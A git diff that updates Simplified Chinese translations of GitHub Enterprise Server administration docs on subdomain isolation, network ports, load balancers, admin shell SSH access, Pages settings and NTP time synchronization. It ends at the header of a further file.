-| Path without subdomain isolation  | Path with subdomain isolation   |
-| --- | --- |
-| `http(s)://HOSTNAME/assets/`      | `http(s)://assets.HOSTNAME/`      |
-| `http(s)://HOSTNAME/avatars/`     | `http(s)://avatars.HOSTNAME/`     |
-| `http(s)://HOSTNAME/codeload/`    | `http(s)://codeload.HOSTNAME/`    |
-| `http(s)://HOSTNAME/gist/`        | `http(s)://gist.HOSTNAME/`        |
-| `http(s)://HOSTNAME/media/`       | `http(s)://media.HOSTNAME/`       |
-| `http(s)://HOSTNAME/pages/`       | `http(s)://pages.HOSTNAME/`       |
-| `http(s)://HOSTNAME/raw/`         | `http(s)://raw.HOSTNAME/`         |
-| `http(s)://HOSTNAME/render/`      | `http(s)://render.HOSTNAME/`      |
-| `http(s)://HOSTNAME/reply/`       | `http(s)://reply.HOSTNAME/`       |
-| `http(s)://HOSTNAME/uploads/`     | `http(s)://uploads.HOSTNAME/`     | {% ifversion ghes %}
-| `https://HOSTNAME/_registry/docker/` | `http(s)://docker.HOSTNAME/`{% endif %}{% ifversion ghes %}
-| `https://HOSTNAME/_registry/npm/` | `https://npm.HOSTNAME/`
-| `https://HOSTNAME/_registry/rubygems/` | `https://rubygems.HOSTNAME/`
-| `https://HOSTNAME/_registry/maven/` | `https://maven.HOSTNAME/`
-| `https://HOSTNAME/_registry/nuget/` | `https://nuget.HOSTNAME/`{% endif %}
+启用子域隔离后，{% data variables.product.prodname_ghe_server %} 会以子域替代多个路径。 启用子域隔离后，尝试访问某些用户提供内容的以前路径（如 `http(s)://HOSTNAME/raw/`）可能会返回 `404` 错误。
 
-## Prerequisites
+| 未使用子域隔离的路径                             | 使用子域隔离的路径                                                   |
+| -------------------------------------- | ----------------------------------------------------------- |
+| `http(s)://HOSTNAME/assets/`           | `http(s)://assets.HOSTNAME/`                                |
+| `http(s)://HOSTNAME/avatars/`          | `http(s)://avatars.HOSTNAME/`                               |
+| `http(s)://HOSTNAME/codeload/`         | `http(s)://codeload.HOSTNAME/`                              |
+| `http(s)://HOSTNAME/gist/`             | `http(s)://gist.HOSTNAME/`                                  |
+| `http(s)://HOSTNAME/media/`            | `http(s)://media.HOSTNAME/`                                 |
+| `http(s)://HOSTNAME/pages/`            | `http(s)://pages.HOSTNAME/`                                 |
+| `http(s)://HOSTNAME/raw/`              | `http(s)://raw.HOSTNAME/`                                   |
+| `http(s)://HOSTNAME/render/`           | `http(s)://render.HOSTNAME/`                                |
+| `http(s)://HOSTNAME/reply/`            | `http(s)://reply.HOSTNAME/`                                 |
+| `http(s)://HOSTNAME/uploads/`          | `http(s)://uploads.HOSTNAME/`                               |{% ifversion ghes %}
+| `https://HOSTNAME/_registry/docker/`   | `http(s)://docker.HOSTNAME/`{% endif %}{% ifversion ghes %}
+| `https://HOSTNAME/_registry/npm/`      | `https://npm.HOSTNAME/`                                     |
+| `https://HOSTNAME/_registry/rubygems/` | `https://rubygems.HOSTNAME/`                                |
+| `https://HOSTNAME/_registry/maven/`    | `https://maven.HOSTNAME/`                                   |
+| `https://HOSTNAME/_registry/nuget/`    | `https://nuget.HOSTNAME/`{% endif %}
+
+## 基本要求
 
 {% data reusables.enterprise_installation.disable-github-pages-warning %}
 
-Before you enable subdomain isolation, you must configure your network settings for your new domain.
+启用子域隔离之前，您必须为新域配置网络设置。
 
-- Specify a valid domain name as your hostname, instead of an IP address. For more information, see "[Configuring a hostname](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-a-hostname)."
+- 指定有效域名作为主机名，而不是指定 IP 地址。 更多信息请参阅“[配置主机名](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-a-hostname)。”
 
 {% data reusables.enterprise_installation.changing-hostname-not-supported %}
 
-- Set up a wildcard Domain Name System (DNS) record or individual DNS records for the subdomains listed above. We recommend creating an A record for `*.HOSTNAME` that points to your server's IP address so you don't have to create multiple records for each subdomain.
-- Get a wildcard Transport Layer Security (TLS) certificate for `*.HOSTNAME` with a Subject Alternative Name (SAN) for both `HOSTNAME` and the wildcard domain `*.HOSTNAME`. For example, if your hostname is `github.octoinc.com`, get a certificate with the Common Name value set to `*.github.octoinc.com` and a SAN value set to both `github.octoinc.com` and `*.github.octoinc.com`.
-- Enable TLS on your appliance. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls/)."
+- 为上文列出的子域设置通配符域名系统 (DNS) 记录或单独的 DNS 记录。 建议为指向您的服务器 IP 地址的 `*.HOSTNAME` 创建一条 A 记录，从而无需为各个子域创建多条记录。
+- 为 `*.HOSTNAME` 获取一个使用者可选名称 (SAN) 同时适用于 `HOSTNAME` 和通配符域 `*.HOSTNAME` 的通配符传输层安全 (TLS) 证书。 例如，如果您的主机名为 `github.octoinc.com`，则获取一个通用名值设为 `*.github.octoinc.com`、SAN 值同时设为 `github.octoinc.com` 和 `*.github.octoinc.com` 的证书。
+- 在设备上启用 TLS。 更多信息请参阅“[配置 TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls/)”。
 
-## Enabling subdomain isolation
+## 启用子域隔离
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.hostname-menu-item %}
-4. Select **Subdomain isolation (recommended)**.
-  ![Checkbox to enable subdomain isolation](/assets/images/enterprise/management-console/subdomain-isolation.png)
+4. 选择 **Subdomain isolation (recommended)**。 ![启用子域隔离的复选框](/assets/images/enterprise/management-console/subdomain-isolation.png)
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/index.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/index.md
index e3a5d06573..fc007604a1 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/index.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/index.md
@@ -1,5 +1,5 @@
 ---
-title: Configuring network settings
+title: 配置网络设置
 redirect_from:
   - /enterprise/admin/guides/installation/dns-hostname-subdomain-isolation-and-ssl
   - /enterprise/admin/articles/about-dns-ssl-and-subdomain-settings
@@ -7,7 +7,7 @@ redirect_from:
   - /enterprise/admin/guides/installation/configuring-your-github-enterprise-network-settings
   - /enterprise/admin/installation/configuring-your-github-enterprise-server-network-settings
   - /enterprise/admin/configuration/configuring-network-settings
-intro: 'Configure {% data variables.product.prodname_ghe_server %} with the DNS nameservers and hostname required in your network. You can also configure a proxy server or firewall rules. You must allow access to certain ports for administrative and user purposes.'
+intro: '使用网络所需的 DNS 域名服务器和主机名配置 {% data variables.product.prodname_ghe_server %}。 您还可以配置代理服务器或防火墙规则。 为实现管理和用户目的，您必须允许访问某些端口。'
 versions:
   ghes: '*'
 topics:
@@ -23,6 +23,6 @@ children:
   - /configuring-built-in-firewall-rules
   - /network-ports
   - /using-github-enterprise-server-with-a-load-balancer
-shortTitle: Configure network settings
+shortTitle: 配置网络设置
 ---
 
diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/network-ports.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/network-ports.md
index 80cfbb860b..367390021d 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/network-ports.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/network-ports.md
@@ -1,5 +1,5 @@
 ---
-title: Network ports
+title: 网络端口
 redirect_from:
   - /enterprise/admin/articles/configuring-firewalls
   - /enterprise/admin/articles/firewall
@@ -8,7 +8,7 @@ redirect_from:
   - /enterprise/admin/installation/network-ports
   - /enterprise/admin/configuration/network-ports
   - /admin/configuration/network-ports
-intro: 'Open network ports selectively based on the network services you need to expose for administrators, end users, and email support.'
+intro: 根据您需要为管理员、最终用户和电子邮件支持显示的网络服务有选择地打开网络端口。
 versions:
   ghes: '*'
 type: reference
@@ -18,36 +18,37 @@ topics:
   - Networking
   - Security
 ---
-## Administrative ports
 
-Some administrative ports are required to configure {% data variables.product.product_location %} and run certain features. Administrative ports are not required for basic application use by end users.
+## 管理端口
 
-| Port | Service | Description |
-|---|---|---|
-| 8443 | HTTPS | Secure web-based {% data variables.enterprise.management_console %}. Required for basic installation and configuration. |
-| 8080 | HTTP | Plain-text web-based {% data variables.enterprise.management_console %}. Not required unless SSL is disabled manually. |
-| 122 | SSH | Shell access for {% data variables.product.product_location %}. Required to be open to incoming connections between all nodes in a high availability configuration. The default SSH port (22) is dedicated to Git and SSH application network traffic. |
-| 1194/UDP | VPN | Secure replication network tunnel in high availability configuration. Required to be open for communication between all nodes in the configuration.|
-| 123/UDP| NTP | Required for time protocol operation. |
-| 161/UDP | SNMP | Required for network monitoring protocol operation. |
+需要使用一些管理端口来配置 {% data variables.product.product_location %} 和运行某些功能。 最终用户在使用基本应用程序时不需要管理端口。
 
-## Application ports for end users
+| 端口       | 服务    | 描述                                                                                                                                                                                                      |
+| -------- | ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 8443     | HTTPS | 基于安全 Web 的 {% data variables.enterprise.management_console %}。 进行基本安装和配置时需要。                                                                                                                            |
+| 8080     | HTTP  | 基于纯文本 Web 的 {% data variables.enterprise.management_console %}。 除非手动禁用 SSL，否则不需要。                                                                                                                       |
+| 122      | SSH   | 对 {% data variables.product.product_location %} 进行 Shell 访问。 Required to be open to incoming connections between all nodes in a high availability configuration. 默认 SSH 端口 (22) 专用于 Git 和 SSH 应用程序网络流量。 |
+| 1194/UDP | VPN   | 采用高可用性配置的安全复制网络隧道。 Required to be open for communication between all nodes in the configuration.                                                                                                        |
+| 123/UDP  | NTP   | 为时间协议操作所需。                                                                                                                                                                                              |
+| 161/UDP  | SNMP  | 为网络监视协议操作所需。                                                                                                                                                                                            |
 
-Application ports provide web application and Git access for end users.
+## 最终用户的应用程序端口
 
-| Port | Service | Description |
-|---|---|---|
-| 443 | HTTPS | Access to the web application and Git over HTTPS. |
-| 80 | HTTP | Access to the web application. All requests are redirected to the HTTPS port when SSL is enabled. |
-| 22 | SSH | Access to Git over SSH. Supports clone, fetch, and push operations to public and private repositories. |
-| 9418 | Git | Git protocol port supports clone and fetch operations to public repositories with unencrypted network communication. {% data reusables.enterprise_installation.when-9418-necessary %} |
+应用程序端口为最终用户提供 Web 应用程序和 Git 访问。
+
+| 端口   | 服务    | 描述                                                                                                  |
+| ---- | ----- | --------------------------------------------------------------------------------------------------- |
+| 443  | HTTPS | 通过 HTTPS 访问 Web 应用程序和 Git。                                                                          |
+| 80   | HTTP  | 访问 Web 应用程序。 当 SSL 启用时，所有请求都会重定向到 HTTPS 端口。                                                         |
+| 22   | SSH   | 通过 SSH 访问 Git。 支持对公共和私有仓库执行克隆、提取和推送操作。                                                              |
+| 9418 | Git   | Git 协议端口支持通过未加密网络通信对公共仓库执行克隆和提取操作。 {% data reusables.enterprise_installation.when-9418-necessary %}
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-## Email ports
+## 电子邮件端口
 
-Email ports must be accessible directly or via relay for inbound email support for end users.
+电子邮件端口必须可直接访问或通过中继访问，以便为最终用户提供入站电子邮件支持。
 
-| Port | Service | Description |
-|---|---|---|
-| 25 | SMTP | Support for SMTP with encryption (STARTTLS). |
+| 端口 | 服务   | 描述                       |
+| -- | ---- | ------------------------ |
+| 25 | SMTP | 支持采用加密的 SMTP (STARTTLS)。 |
diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
index 35573b2ad4..48bdd0324e 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
@@ -1,6 +1,6 @@
 ---
-title: Using GitHub Enterprise Server with a load balancer
-intro: 'Use a load balancer in front of a single {% data variables.product.prodname_ghe_server %} appliance or a pair of appliances in a High Availability configuration.'
+title: 结合使用 GitHub Enterprise Server 和负载均衡器
+intro: '在单个 {% data variables.product.prodname_ghe_server %} 设备或一对采用高可用性配置的设备前方使用负载均衡器。'
 redirect_from:
   - /enterprise/admin/guides/installation/using-github-enterprise-with-a-load-balancer
   - /enterprise/admin/installation/using-github-enterprise-server-with-a-load-balancer
@@ -14,7 +14,7 @@ topics:
   - High availability
   - Infrastructure
   - Networking
-shortTitle: Use a load balancer
+shortTitle: 使用负载平衡器
 ---
 
 ## About load balancers
@@ -23,9 +23,9 @@ shortTitle: Use a load balancer
 
 {% data reusables.enterprise_clustering.load_balancer_dns %}
 
-## Handling client connection information
+## 处理客户端连接信息
 
-Because client connections to {% data variables.product.prodname_ghe_server %} come from the load balancer, the client IP address can be lost.
+由于与 {% data variables.product.prodname_ghe_server %} 的客户端连接来自负载均衡器，因此客户端 IP 可丢失。
 
 {% data reusables.enterprise_clustering.proxy_preference %}
 
@@ -33,37 +33,35 @@ Because client connections to {% data variables.product.prodname_ghe_server %} c
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-### Enabling PROXY protocol support on {% data variables.product.product_location %}
+### 在 {% data variables.product.product_location %} 上启用 PROXY 协议支持
 
-We strongly recommend enabling PROXY protocol support for both your appliance and the load balancer. Use the instructions provided by your vendor to enable the PROXY protocol on your load balancer. For more information, see [the PROXY protocol documentation](http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt).
+强烈建议同时为您的设备和负载均衡器启用 PROXY 协议支持。 按照您的供应商提供的说明操作，在负载均衡器上启用 PROXY 协议。 更多信息请参阅 [PROXY 协议文档](http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)。
 
 {% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-3. Under **External load balancers**, select **Enable support for PROXY protocol**.
-![Checkbox to enable support for PROXY protocol](/assets/images/enterprise/management-console/enable-proxy.png)
+3. 在 **External load balancers** 下，选择 **Enable support for PROXY protocol**。 ![启用 PROXY 协议支持的复选框](/assets/images/enterprise/management-console/enable-proxy.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% data reusables.enterprise_clustering.proxy_protocol_ports %}
 
-### Enabling X-Forwarded-For support on {% data variables.product.product_location %}
+### 在 {% data variables.product.product_location %} 上启用 X-Forwarded-For 支持
 
 {% data reusables.enterprise_clustering.x-forwarded-for %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-3. Under **External load balancers**, select **Allow HTTP X-Forwarded-For header**.
-![Checkbox to allow the HTTP X-Forwarded-For header](/assets/images/enterprise/management-console/allow-xff.png)
+3. 在 **External load balancers** 下，选择 **Allow HTTP X-Forwarded-For header**。 ![允许 HTTP X-Forwarded-For 标头的复选框](/assets/images/enterprise/management-console/allow-xff.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% data reusables.enterprise_clustering.without_proxy_protocol_ports %}
 
-## Configuring health checks
+## 配置健康状态检查
 
-Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If the appliance is offline due to maintenance or unexpected failure, the load balancer can display a status page. In a High Availability (HA) configuration, a load balancer can be used as part of a failover strategy. However, automatic failover of HA pairs is not supported. You must manually promote the replica appliance before it will begin serving requests. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)."
+如果预配置的检查在该节点上失败，则状态检查允许负载均衡器停止向未响应的节点发送流量。 如果设备因维护或计划外的故障而离线，负载均衡器可以显示状态页面。 在高可用性 (HA) 配置下，负载均衡器可用作故障转移策略的组成部分。 不过，不支持 HA 对的自动故障转移。 在副本设备开始为请求提供服务之前，您必须手动升级副本设备。 更多信息请参阅“[配置 {% data variables.product.prodname_ghe_server %} 以实现高可用性](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)”。
 
 {% data reusables.enterprise_clustering.health_checks %}
 {% data reusables.enterprise_site_admin_settings.maintenance-mode-status %}
diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
index c0e8a764c7..d2a2b1b5a4 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
@@ -1,5 +1,5 @@
 ---
-title: Accessing the administrative shell (SSH)
+title: 访问管理 shell (SSH)
 redirect_from:
   - /enterprise/admin/articles/ssh-access
   - /enterprise/admin/articles/adding-an-ssh-key-for-shell-access
@@ -19,31 +19,31 @@ topics:
   - Enterprise
   - Fundamentals
   - SSH
-shortTitle: Access the admin shell (SSH)
+shortTitle: 访问管理 shell (SSH)
 ---
-## About administrative shell access
 
-If you have SSH access to the administrative shell, you can run {% data variables.product.prodname_ghe_server %}'s command line utilities. SSH access is also useful for troubleshooting, running backups, and configuring replication. Administrative SSH access is managed separately from Git SSH access and is accessible only via port 122.
+## 关于管理 shell 访问
 
-## Enabling access to the administrative shell via SSH
+如果您有权限通过 SSH 访问管理 shell，可运行 {% data variables.product.prodname_ghe_server %} 的命令行实用程序。 SSH 访问也可用于故障排查、运行备份和配置复制。 管理 SSH 访问与 Git SSH 访问分开管理，仅可通过端口 122 访问。
 
-To enable administrative SSH access, you must add your SSH public key to your instance's list of authorized keys.
+## 允许通过 SSH 访问管理 shell
+
+要启用管理 SSH 访问，您必须向授权密钥的实例列表添加 SSH 公钥。
 
 {% tip %}
 
-**Tip:** Changes to authorized SSH keys take effect immediately.
+**提示**：对授权 SSH 密钥进行的变更会立即生效。
 
 {% endtip %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-3. Under "SSH access", paste your key into the text box, then click **Add key**.
-  ![Text box and button for adding an SSH key](/assets/images/enterprise/settings/add-authorized-ssh-key-admin-shell.png)
+3. 在“SSH access”下，将密钥粘贴到文本框中，然后单击 **Add key**。 ![添加 SSH 密钥的文本框和按钮](/assets/images/enterprise/settings/add-authorized-ssh-key-admin-shell.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Connecting to the administrative shell over SSH
+## 通过 SSH 连接到管理 shell
 
-After you've added your SSH key to the list, connect to the instance over SSH as the `admin` user on port 122.
+将 SSH 密钥添加到列表后，以 `admin` 用户的身份在端口 122 上通过 SSH 连接到实例。
 
 ```shell
 $ ssh -p 122 admin@github.example.com
@@ -51,17 +51,17 @@ Last login: Sun Nov 9 07:53:29 2014 from 169.254.1.1
 admin@github-example-com:~$ █
 ```
 
-### Troubleshooting SSH connection problems
+### 排查 SSH 连接问题
 
-If you encounter the `Permission denied (publickey)` error when you try to connect to {% data variables.product.product_location %} via SSH, confirm that you are connecting over port 122. You may need to explicitly specify which private SSH key to use.
+如果在尝试通过 SSH 连接到 {% data variables.product.product_location %} 时发生 `Permission denied (publickey)` 错误，请确认您是否是通过端口 122 连接的。 您可能需要明确指定要使用的 SSH 私钥。
 
-To specify a private SSH key using the command line, run `ssh` with the `-i` argument.
+要使用命令行指定 SSH 私钥，请运行包含 `-i` 参数的 `ssh`。
 
 ```shell
 ssh -i /path/to/ghe_private_key -p 122 admin@<em>hostname</em>
 ```
 
-You can also specify a private SSH key using the SSH configuration file (`~/.ssh/config`).
+您也可以使用 SSH 配置文件 (`~/.ssh/config`) 指定 SSH 私钥。
 
 ```shell
 Host <em>hostname</em>
@@ -70,10 +70,10 @@ Host <em>hostname</em>
   Port 122
 ```
 
-## Accessing the administrative shell using the local console
+## 使用本地控制台访问管理 shell
 
-In an emergency situation, for example if SSH is unavailable, you can access the administrative shell locally. Sign in as the `admin` user and use the password established during initial setup of {% data variables.product.prodname_ghe_server %}.
+在 SSH 不可用等紧急情况下，您可以在本地访问管理 shell。 以 `admin` 用户身份登录，并使用在 {% data variables.product.prodname_ghe_server %} 初始设置期间确定的密码。
 
-## Access limitations for the administrative shell
+## 管理 shell 的访问限制
 
-Administrative shell access is permitted for troubleshooting and performing documented operations procedures only. Modifying system and application files, running programs, or installing unsupported software packages may void your support contract. Please contact {% data variables.contact.contact_ent_support %} if you have a question about the activities allowed by your support contract.
+管理 shell 访问仅可用于故障排查和执行记录的操作程序。 修改系统和应用程序文件、运行程序或安装不受支持的软件包可能导致支持合约失效。 如果您对支持合约允许的活动有任何疑问，请联系 {% data variables.contact.contact_ent_support %}。
diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
index c334869985..f18aca0be0 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
@@ -10,6 +10,7 @@ topics:
   - Fundamentals
 shortTitle: Configure custom footers
 ---
+
 Enterprise owners can configure {% data variables.product.product_name %} to show custom footers with up to five additional links.
 
 ![Custom footer](/assets/images/enterprise/custom-footer/octodemo-footer.png)
@@ -28,11 +29,8 @@ The custom footer is displayed above the {% data variables.product.prodname_dotc
 ![Enterprise profile settings](/assets/images/enterprise/custom-footer/enterprise-profile-ghes.png)
 {%- endif %}
 
-1. At the top of the Profile section, click **Custom footer**.
-![Custom footer section](/assets/images/enterprise/custom-footer/custom-footer-section.png)
+1. At the top of the Profile section, click **Custom footer**. ![Custom footer section](/assets/images/enterprise/custom-footer/custom-footer-section.png)
 
-1. Add up to five links in the fields shown.
-![Add footer links](/assets/images/enterprise/custom-footer/add-footer-links.png)
+1. Add up to five links in the fields shown. ![Add footer links](/assets/images/enterprise/custom-footer/add-footer-links.png)
 
-1. Click **Update custom footer** to save the content and display the custom footer.
-![Update custom footer](/assets/images/enterprise/custom-footer/update-custom-footer.png)
+1. Click **Update custom footer** to save the content and display the custom footer. ![Update custom footer](/assets/images/enterprise/custom-footer/update-custom-footer.png)
diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
index d341653ffe..976bd594c4 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
@@ -1,5 +1,5 @@
 ---
-title: Configuring GitHub Pages for your enterprise
+title: 为企业配置 GitHub Pages
 intro: 'You can enable or disable {% data variables.product.prodname_pages %} for your enterprise{% ifversion ghes %} and choose whether to make sites publicly accessible{% endif %}.'
 redirect_from:
   - /enterprise/admin/guides/installation/disabling-github-enterprise-pages
@@ -16,37 +16,35 @@ type: how_to
 topics:
   - Enterprise
   - Pages
-shortTitle: Configure GitHub Pages
+shortTitle: 配置 GitHub Pages
 ---
 
 {% ifversion ghes %}
 
-## Enabling public sites for {% data variables.product.prodname_pages %}
+## 为 {% data variables.product.prodname_pages %} 启用公共站点
 
 If private mode is enabled on your enterprise, the public cannot access {% data variables.product.prodname_pages %} sites hosted by your enterprise unless you enable public sites.
 
 {% warning %}
 
-**Warning:** If you enable public sites for {% data variables.product.prodname_pages %}, every site in every repository on your enterprise will be accessible to the public.
+**警告**：如果为 {% data variables.product.prodname_pages %} 启用公共站点，则企业上每个仓库中的每个站点均可由公众访问。
 
 {% endwarning %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.pages-tab %}
-4. Select **Public Pages**.
-  ![Checkbox to enable Public Pages](/assets/images/enterprise/management-console/public-pages-checkbox.png)
+4. 选择 **Public Pages**。 ![启用公共页面复选框](/assets/images/enterprise/management-console/public-pages-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Disabling {% data variables.product.prodname_pages %} for your enterprise
+## 为企业禁用 {% data variables.product.prodname_pages %}
 
-If subdomain isolation is disabled for your enterprise, you should also disable {% data variables.product.prodname_pages %} to protect yourself from potential security vulnerabilities. For more information, see "[Enabling subdomain isolation](/admin/configuration/enabling-subdomain-isolation)."
+如果为企业禁用了子域隔离，则还应禁用 {% data variables.product.prodname_pages %}，以免遭受潜在安全漏洞的攻击。 更多信息请参阅“[启用子域隔离](/admin/configuration/enabling-subdomain-isolation)”。
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.pages-tab %}
-4. Unselect **Enable Pages**.
-  ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/management-console/pages-select-button.png)
+4. 取消选择 **Enable Pages**。 ![禁用 {% data variables.product.prodname_pages %} 复选框](/assets/images/enterprise/management-console/pages-select-button.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% endif %}
@@ -56,14 +54,13 @@ If subdomain isolation is disabled for your enterprise, you should also disable
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.pages-tab %}
-5. Under "Pages policies", deselect **Enable {% data variables.product.prodname_pages %}**.
-  ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png)
+5. 在“Pages policies（页面策略）”下，取消选择 **Enable {% data variables.product.prodname_pages %}（启用 Github）**。 ![禁用 {% data variables.product.prodname_pages %} 复选框](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png)
 {% data reusables.enterprise-accounts.pages-policies-save %}
 
 {% endif %}
 
 {% ifversion ghes %}
-## Further reading
+## 延伸阅读
 
-- "[Enabling private mode](/admin/configuration/enabling-private-mode)"
+- "[启用私人模式](/admin/configuration/enabling-private-mode)"
 {% endif %}
diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
index 0d0af44dc0..6bb255f11c 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring time synchronization
-intro: '{% data variables.product.prodname_ghe_server %} automatically synchronizes its clock by connecting to NTP servers. You can set the NTP servers that are used to synchronize the clock, or you can use the default NTP servers.'
+title: 配置时间同步
+intro: '{% data variables.product.prodname_ghe_server %} 通过连接到 NTP 服务器自动同步其时钟。 您可以设置用于同步时钟的 NTP 服务器，也可以使用默认 NTP 服务器。'
 redirect_from:
   - /enterprise/admin/articles/adjusting-the-clock
   - /enterprise/admin/articles/configuring-time-zone-and-ntp-settings
@@ -17,33 +17,31 @@ topics:
   - Fundamentals
   - Infrastructure
   - Networking
-shortTitle: Configure time settings
+shortTitle: 配置时间设置
 ---
-## Changing the default NTP servers
+
+## 更改默认 NTP 服务器
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-2. In the left sidebar, click **Time**.
-    ![The Time button in the {% data variables.enterprise.management_console %} sidebar](/assets/images/enterprise/management-console/sidebar-time.png)
-3. Under "Primary NTP server," type the hostname of the primary NTP server. Under "Secondary NTP server," type the hostname of the secondary NTP server.
-    ![The fields for primary and secondary NTP servers in the {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/ntp-servers.png)
-4. At the bottom of the page, click **Save settings**.
-    ![The Save settings button in the {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/save-settings.png)
-5. Wait for the configuration run to complete.
+2. 在左侧边栏中，单击 **Time**。 ![{% data variables.enterprise.management_console %} 边栏中的 Time 按钮](/assets/images/enterprise/management-console/sidebar-time.png)
+3. 在“Primary NTP server”下，输入主 NTP 服务器的主机名。 在“Secondary NTP server”下，输入辅助 NTP 服务器的主机名。 ![{% data variables.enterprise.management_console %} 中用于主 NTP 服务器和辅助 NTP 服务器的字段](/assets/images/enterprise/management-console/ntp-servers.png)
+4. 在页面底部，单击 **Save settings**。 ![{% data variables.enterprise.management_console %} 中的 Save settings 按钮](/assets/images/enterprise/management-console/save-settings.png)
+5. 等待配置运行完毕。
 
-## Correcting a large time drift
+## 更正较大的时间偏差
 
-The NTP protocol continuously corrects small time synchronization discrepancies. You can use the administrative shell to synchronize time immediately.
+NTP 协议会持续更正较小的时间同步偏差。 您可以使用管理 shell 立即同步时间。
 
 {% note %}
 
-**Notes:**
- - You can't modify the Coordinated Universal Time (UTC) zone.
- - You should prevent your hypervisor from trying to set the virtual machine's clock. For more information, see the documentation provided by the virtualization provider.
+**注意：**
+ - 您无法修改协调世界时 (UTC) 时区。
+ - 您应阻止虚拟机监控程序设置虚拟机时钟。 更多信息请参阅虚拟化提供商提供的文档。
 
 {% endnote %}
 
-- Use the `chronyc` command to synchronize the server with the configured NTP server. For example:
+- 使用 `chronyc` 命令将服务器与配置的 NTP 服务器同步。 例如：
 
 ```shell
 $ sudo chronyc -a makestep
diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
